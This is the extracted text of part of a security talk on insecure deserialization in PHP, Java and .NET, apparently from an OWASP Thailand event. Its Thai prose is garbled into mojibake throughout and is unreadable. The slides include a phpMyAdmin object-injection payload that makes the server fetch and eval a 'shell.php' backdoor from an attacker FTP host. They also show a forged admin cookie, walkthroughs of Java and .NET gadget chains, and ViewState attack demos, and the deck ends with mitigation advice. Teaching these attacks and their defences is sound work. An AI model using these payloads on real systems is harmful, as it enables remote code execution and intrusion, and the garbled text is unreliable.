  • 29. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 29 犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (2) Insecure Error Handling
  • 30. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 30 犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (3) https://<web>/.env 犢犖犖ワ .env 犖犖ム幻犖
  • 31. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 31 犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (4) 犖犖犖犢犖犖э犖犖劇犖 犢 犖犖犖 Web Framework
  • 32. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 32 犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (6) Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;}:abcdef1234 犖犖迦犖犖犢犖犖犖o犢犖 secret key 犖犢犖犖o犖迦 signing signature 犢犖犖犢犖犖犖園犖犖 !
  • 33. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 33 犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権(犖犖) 2. 犢犖犖犖迦犖犖犖犖 犖犖迦犖犖項犢犖 serialized data 犖犖朽犢犖÷厳犢犖 deserialize 犢犖ワ犖 犢犖犖巌犖犖迦牽犢犖犖朽権犖 犖犖犖犖犖園 犖犖朽犢犖¥犖犖о牽犖犖項犢犖犖朽権犖犢犖 犢犖犖 犖犖迦牽犖犖園犢犖犖
  • 34. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 34 PHP Serialization (Native) serialize() 犖犖迦牽犖犢犖 serialization 犖犖迦犖犢犖犢犖 unserialize() 犖犖o犖迦犖犖迦犖園硯犢犖犖犖犖犖劇賢 object 犖犖ム険犖犖犖迦犖犖 serialized data i:666;666 s:6:"foobar";foobar i:666;666 s:6:"foobar";foobar
  • 35. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 35 PHP Serialization (Native) - Data Types String - s:<size>:<value>; - s:3:"STH"; Integer - i:<value>; - i:1337; Double - d:<value>; - d:12.345; Null - N; Boolean - b:<value>; - b:1; // True - b:0; // False Array - a:<size>:{<key>;<value>;} - a:2:{s:4:"name";s:4:"John"; s:3:"age";i:15;} // array("name"=>"John", "age"=>15); Object O:13:"FooController":1:{s:3: "foo";s:3:"bar";}
  • 36. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 36 PHP Serialization (Native) - PHP Magic Methods __construct() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __sleep() __wakeup() __toString() __invoke() __set_state() __clone() __debugInfo() - 犖犖劇犖犖犖犖犖犖園犖犖謹犖犖犖犖犖о権 "__" - 犢犖犖犖犖犖犖犖園犖犖朽犖犖萎犖項犢犖犖朽権犖犖犖園犢犖犖÷険犖犖巌犖犖犖ム険犖犖犖迦犖犖迦牽犖犢犖 deserialization (犖犖劇賢 unserailize() 犢犖 PHP)
  • 37. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 37 PHP Serialization (Native) - PHP Magic Methods __destruct() - 犖犖項犢犖犖朽権犖犢犖÷厳犢犖 object 犖犢犖迦献犖園犖犖萎見犖迦権犖犖ム険犖犖犖犖犖迦牽犖犢犖迦犖迦 __wakeup() - 犖犖項犢犖犖朽権犖犖犖ム険犖犖犖迦犢犖犖犢犖∇犢犖犖 unserialize()
  • 38. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 38 犖犖犖伍犖犖迦牽犢犖犖犖犖犖犖犖園 unserialize() 犢犖 PHP Serialized Data Magic Methodsunserialize() 犖÷元犖犖迦牽犖犖園犖犖 serialized data 犢犖犖迦検犖迦犖迦 user input ($_GET, $_POST, $_COOKIE, ) 犢犖ム鍵犖犖項犖犢犖迦犖犢犖∇犢犖犖犖犖犖犖園 unserialized() 犢犖犖犢犖犖犖o犖犖迦犖犖萎犖 犢犖ム厳犖犖 object 犖犖犖 class 犖犖朽犖犖ム険犖犖犖迦犢犖犖 deserialize 犢犖犢犖犖朽権犖 Magic Method 犖犖朽犖犢犖迦賢犖萎犖犖犖迦犖犖犖迦 犖犖犖迦犖犖園犢犖犖÷険犖犖 RCE
  • 39. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犖犖 Class 犖犖朽犖÷元 PHP Magic Method 犖犖朽犖犖迦犖犢犖迦犖犢犖犖迦犢犖迦賢犖萎犖 犖犖項献 犢 犢犖 39 __destruct()
  • 40. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犢犖犖朽権犖 Exploit 犢犖犖∇肩犖o犖迦 Serialized Object 犖犖朽犖犖犖犖犖迦牽犢犖犖朽権犖 __destruct 40 犖犖o犖迦 Class 犖犖o犖犖 property serialize 犢犖ワ犖о肩犖o犖迦 signing signature 犖犖迦 secret key URL Encoding Signing Signature
  • 41. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Pwned ! 41
  • 42. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Pwned ! 42 Magic Methodsunserialize ($ci_session) RCE
  • 43. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public AppServ 犢犖о賢犖o犖犖園犢犖犖犢犖迦犖迦 2.5.10 43
  • 44. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 44 File: /scripts/setup.php Line: 61 犖犖犖犢犖犖э PMA 2.10.3
  • 45. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 45 __wakeup 鐚鋋財 垂 篋削室 File: /libraries/Config.class.php Line: 303 File: /libraries/Config.class.php Line: 373,376 eval( file_get_contents($source) )
  • 46. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 46 O:10:"PMA_Config":1:{s:6:"source";s:25:"ftp://1.3.3.7/payload.txt";} 犖о鹸犖犖朽犖犖朽権犖 Exploit 犖犖迦犖
  • 47. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 47 犢犖犖犖朽権犖 Backdoor 犢犖 FTP Server O:10:"PMA_Config":1:{s:6:"source";s:32:"ftp://10.13.37.10:2121/shell.php";}
  • 48. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Pwn !! 48
  • 49. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (PHP) 49 demo1_pma.flv
  • 50. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 50 Java Serialization (Native) Serialize Deserialize https://docs.oracle.com/javase/7/docs/api/java/io/ ObjectInputStream.html#readObject() https://github.com/NickstaDB/SerializationDumper Magic Byte (File Header): ACED (hex) rO0ABXNyAARVc2VynpG/yC7LDZ gCAANJAAJpZEkADXBydmlsZWdl TGV2ZWxMAARuYW1ldAASTGph dmEvbGFuZy9TdHJpbmc7eHAAA AABAAAAAHQAB3BpY2hheWE=
  • 51. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 51 Java Serialization (Native) Web Server Web Browser (User) 犖犖 Java Serialized Object 犖犖朽犢犖犖犢犖犖犖o犢犖犢犖犖÷顕 1. 犢犖犖犖巌犖犖巌 犢犖犖犢犖迦犖о犢犖犖巌 犢犖 犖犖ム遣 2. 犖犢犖迦犖迦牽犖犖ム険犖 object 犖犖園犖犖犖迦権 犖犖朽犢犖犖朽権犖 magic method 犖犖迦 犢
  • 52. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (Java) 52 demo2_sdh.flv
  • 53. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (Java) 53 File: /sdh-bank-campaign/server/app/src/main/java/sh/ sth/SDHBank/controller/CampaignController.java ois = <User Input> ois.readObject();
  • 54. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 54 2. 犢犖犖犖迦犖犖犖犖 犖犖迦犖犖項犢犖 serialized data 犖犖朽犢犖÷厳犢犖 deserialize 犢犖ワ犖 犢犖犖巌犖犖迦牽犢犖犖朽権犖 犖犖犖犖犖園 犖犖朽犢犖¥犖犖о牽犖犖項犢犖犖朽権犖犢犖 犢犖犖 犖犖迦牽犖犖園犢犖犖 犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (Java)
  • 55. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 55 YSoSerial https://github.com/frohoff/ysoserial
  • 56. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 56 Java Deser. Gadget: CommonsCollections5 https://commons.apache.org/prope r/commons-collections/security-rep orts.html
  • 57. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 57 Java Deser. Gadget: CommonsCollections5 Serialized Data
  • 58. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 58 Java Deser. Gadget: CommonsCollections5 https://github.com/frohoff/ysoserial/b lob/master/src/main/java/ysoserial/p ayloads/CommonsCollections5.java
  • 59. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 59 Java Deser. Gadget: CommonsCollections5 BadAttributeValueExpException.readObject() 犢犖犖迦犖迦犖朽犢犖犢犖犖÷顕 toString() 犖犖項 deserialize 犖犖 犢犖犖朽権犖 readObject()
  • 60. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 60 Java Deser. Gadget: CommonsCollections5 TiedMapEntry.toString()
  • 61. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 61 Java Deser. Gadget: CommonsCollections5 LazyMap.get()
  • 62. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 62 Java Deser. Gadget: CommonsCollections5 ChainedTransformer.transform()
  • 63. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 63 InvokerTransformer.transform() Java Deser. Gadget: CommonsCollections5
  • 64. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 64 Java Deser. Gadget: CommonsCollections5
  • 65. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 65 Java Deser. Gadget: CommonsCollections5 https://commons.apache.org/prope r/commons-collections/security-rep orts.html Application Security Hardening Tip: 犖犖犖迦犖 Java Library 犖犖醐犖犢犖犖 犢犖犖犖園犢犖犖犢犖犖犖犖醐犖 犖ワ犖迦肩犖伍 犢犖犖¥犖犖朽犖犖伍犖犖朽犖犢犖迦犖 犖犖犖犖犖迦犖犖犖犢犖犖э犢犖 犢犖犖犢犖犖 犖犢犖犖迦犖÷元犖犖犖犢犖犖э犢犖 Library 犢犖犖犖犖о権
  • 66. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 66 Java Deser. Gadget: Jdk7u21 https://gist.github.com/frohoff/24af7 913611f8406eaf3
  • 67. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 67 Java Deser. Gadget: Jdk7u21 https://gist.github.com/frohoff/24af7 913611f8406eaf3 Application Security Hardening Tip: 犖犖犖迦犖 JDK 犖犖醐犖犢犖犖 犢犖犖犖園犢犖犖犢犖犖犖犖醐犖犖ワ犖迦肩犖伍 犢犖犖¥犖犖朽犖犖伍犖犖朽犖犢犖迦犖 犖犖犖犖犖迦犖犖犖犢犖犖э犢犖犢犖犖犢犖 犖 犖犢犖犖迦犖÷元犖犖犖犢犖犖э犢犖 JDK 犢犖犖犖犖о権
  • 68. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 68 犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java) 犖犖犖迦犢犖迦犖迦牽 Deserialize 犢犖犖犖迦牽犢犖犖朽権犖 犢犖犖犢犖犖犖 犢犖犖∇犖犖犖迦鍵犖犖迦犖朽犖犖園犖÷顕犖犖迦 User Input 犢犖犖 HTTP Parameter https://www.pinterest.com/pin/680958406133567782/
  • 69. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 69 犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java) 犖犖迦権犖園犖犖犖犖犖迦牽犢犖 犖犢犖迦見犖犖犢犖 java.io.ObjectInputStream 犖犖刻犖э犖迦検犖 Object 犖犖萎犖犖犖迦 犖犖朽犖犖萎権犖犖÷犖犢犖犖巌犖犖迦牽 Deserialize 犢犖犖犖迦 犢犖犖朽権犖犖э犖迦犖迦牽犖犢犖 whitelisting 犖犖園硯犖犖犖迦犖犖迦権 犢 犢犖犖犖犖迦牽 overwrite 犖犖犖迦肩 ObjectInputStream 犢犖犢犖犢犖 Object 犖犖犖 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_ Cheat_Sheet.md#harden-your-own-javaioobjectinputstream
  • 70. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 70 犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java) 1 3 2 4
  • 71. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 71 犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java) 5 6
  • 72. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 72 犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java) https://github.com/ikkisoft/SerialKiller look-ahead Java deserialization library
  • 73. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 73 犖о鹸犖犖朽犖犢犖犖犖犖犢犖犖э Insecure Deserialization (Java) 5 6 *** 犖о鹸犖犖朽犖朽 犢犖犢犖犢犖犖犖迦鍵犖犖犖犖犖園犖犖迦牽犖犖犖犖犖園 犖犖迦牽 deserialize 犖犖 Object 犖犖犖犢犖犖犖劇賢犖犖迦犖犖朽犢犖犖 whitelist 犢犖э (犖犖朽犢犖犖迦犖犖朽権犖犖э犖 gadget) 犢犖犢犖¥犢犖 犖犖犖犖犖園犖犖迦牽犢犖犢犖 attribute 犖犖犖 Object 犖犖犖 class 犖犖朽犢犖犖迦権犖犖÷犖 deserialize 犢犖 (犖犖朽犖犖∇弦犢犖 whitelist) 犖犖園犖犖園犖 犖犖謹犖犖犖犖犢犖 input validation 犖犖園犖犖迦犖 Object 犖犖朽犖犖園犢犖犖迦検犖 犖犖о犖犖刻犖犖園犢犖犖犖о権
  • 74. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 74 Insecure Deserialization (.NET) Many types built into .NET framework have code that will run just because they are instantiated. The example of .NET magic methods: - Constructors - OnDeserialize Handlers - Setters / Getters - Destructors
  • 75. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 75 .NET Serialization Gadget Start with an easy gadget: TempFileCollection Read this by yourself if you dare: https://github.com/microsoft/referencesource/blob/master/System/compmod/system/codedom/compiler/TempFiles.cs#L34
  • 76. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 76 .NET Serialization Gadget Start with an easy gadget: TempFileCollection Controllable Object Attributes This gadget cannot RCE Delete Temp Directory in Destructor Method
  • 77. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 77 .NET Serialization Gadget Make it harder: TypeConfuseDelegate This is too hard. Read it yourself please: https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html 犢犖犢犖犖∇険犖 .NET Framework 犢犖о賢犖o犖犖園犖犖ワ犖迦肩犖伍
  • 78. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 78 .NET Serialization Gadget Make it harder: TypeConfuseDelegate We have 3 friends as follows: - ComparisonComparer - MulticastDelegate - SortedSet 1 2 3 4
  • 79. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 79 .NET Serialization Gadget Make it harder: TypeConfuseDelegate ComparisonComparer class SortedSet class Process::Start(Executable, Args) ?? 1 2 犢犖犖迦犖萎犖犖朽権犖... 4 3 犖犖犖 犢 犢犖¥犢犖犢犖犖犖迦鍵犖犖犖 Comparison Type
  • 80. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 80 .NET Serialization Gadget Make it harder: TypeConfuseDelegate MulticastDelegate Fields: - _invocationList - _invocationCount - ... ComparisonA(A, B) ComparisonB(A, B) ComparisonC(A, B) Replace this delegate with Process::Start(Executable, Args) 1 2 3
  • 81. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 81 .NET Serialization Gadget Let test TypeConfuseDelegate gadget Demo Video: demo3_typeconfusedelegate.flv
  • 82. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public ViewState 82 _VIEWSTATE value will be deserialized with ObjectStateFormatter to be ViewState object.
  • 83. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 83 ViewState Security Configuration EnableViewStateMac ) https://en.wikipedia.org/wiki/Message_authentication_code viewStateEncryptionMode 犖犖劇賢犖犖迦牽犢犖犖迦牽犖犖園肩 viewstate 犖犖о権 MachineKey MachineKey 犖犖劇賢 key 犖犖朽犢犖犢犖犖犖迦牽犢犖犖迦牽犖犖園肩 犖犖犖犖犖犖園肩 犖犖犖о犖犖犖 犖犖о顕犖÷犖項犖犖犖犖犖犖 forms-authentication 犢犖ム鍵 viewstate key 犖犖萎賢犖∇弦犢犖 web.config 犖犖犖劇賢 machine.config
  • 84. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犖犖犖犢犖犖э犖犖朽犢犖犖朽犖∇硯犖犖犖犖犖園 ViewState EnableViewStateMac=false, viewStateEncryptionMode=false HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFrameworkv4.0.30319 viewStateEncryptionMode 犖犖萎犖項犖犖園犖犢犖犖 false 犢犖犖犖犖 default 犖犖迦見犖迦 EnableViewStateMac 犖犖犖劇賢 viewStateEncryptionMode 犖犖項犢犖犖 犖犢犖迦犖犖犖犖犖犢犖 MachineKey 犢犖犖犖迦牽 犢犖犖÷犖 84 Web.config
  • 85. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犖犖犖о犖犖犖 ViewState 犖犖о権 Burp Suite 85 ViewState MAC is Disabled ViewState MAC is Enabled ViewState MAC is Encrypted
  • 86. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 86 犖ム賢犖犢犖犖 ViewState 犖犖о権 Insecure Deserialization Let hack Insecure ViewState Serialization with TypeConfuseDelegate Gadget Demo Video: demo4_viewstate.flv
  • 87. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 87 Key Takeaways #1 Do NOT Deserialize Untrusted Data #2 Logging and Monitoring
  • 88. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 88 #1 Do NOT Deserialize Untrusted Data - 犢犖 Data Format 犖犖朽 Deserialize 犢犖ワ犖.. 犖犖犖犖犖迦犖犖ム賢犖犖犖園権 (犖犖迦 magic function 犖犖迦 犢) * JSON*** (?) XML*** (?) Protobuf 犖犖迦犖犖犖犖迦牽犢犖犖犖犖迦犢犖ム元犢犖∇犢犖¥犢犖犖犖犖巌 犢 ... - Deserialize 犢犖犖犖迦鍵犖犖 serialized object 犖犖朽 sign 犖÷顕犖犖項犖犖犖 (犢犖 HMAC) - Deserialize 犢犖犖犖迦鍵犖犖迦 object 犖犖朽犢犖犖 whitelist 犢犖э 犖犖о権犖о鹸犖犖 look-ahead - 犖犢犖 Input Validation 犖犖園 犖犖 property 犖犖犖 Object 犖犖朽犖犖園犢犖犖迦検犖 犖э犖迦犖項犖犖犖犢犖犖÷顕犖萎肩犖
  • 89. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 89 #2 Logging and Monitoring - 犢犖犢犖 log 犖犖迦牽犖犖犖萎犢犖迦肩犢犖迦犖園犢犖犖犖萎犖 - 犢犖犖迦牽犖萎犖, 犖犖犖犖犖萎犖 犖犖犖 admin - 犢犖犖犢犖犖巌, 犖犖迦権犢犖犖巌, 犢犖犖ム元犢犖∇犖犖犖園肩犖犖迦 犖犖ム遣 - 犢犖犖ム元犢犖∇ log 犖犖伍 60 - 90 犖о険犖 - 犖犖園犖犖犖迦牽 alert 犢犖÷厳犢犖犢犖犖巌犢犖犖犖伍犖迦牽犖犢犖¥犖犖犖犖巌犖 log - 犢犖犖巌 error 犢犖犖犖迦牽犖犢犖 deserialization 犢犖∇賢犖 犢 - 犖÷元 process 犖犖犖萎見犖ム顕犖犢犖犖ワ犖÷顕 (EDR ?) - ...
  • 90. 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖 Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 犖犢犖迦見犖犖園 Pen-Tester 犖犖犖劇賢 Security Tester 90 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsh eets/Deserialization_Cheat_Sheet.md https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet https://github.com/frohoff/ysoserial https://github.com/pwntester/ysoserial.net
  • 91. Any Question ? Contact us: pentest@sth.sh OWASP Thailand Chapter: https://www.facebook.com/groups/owaspthailand/ 犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖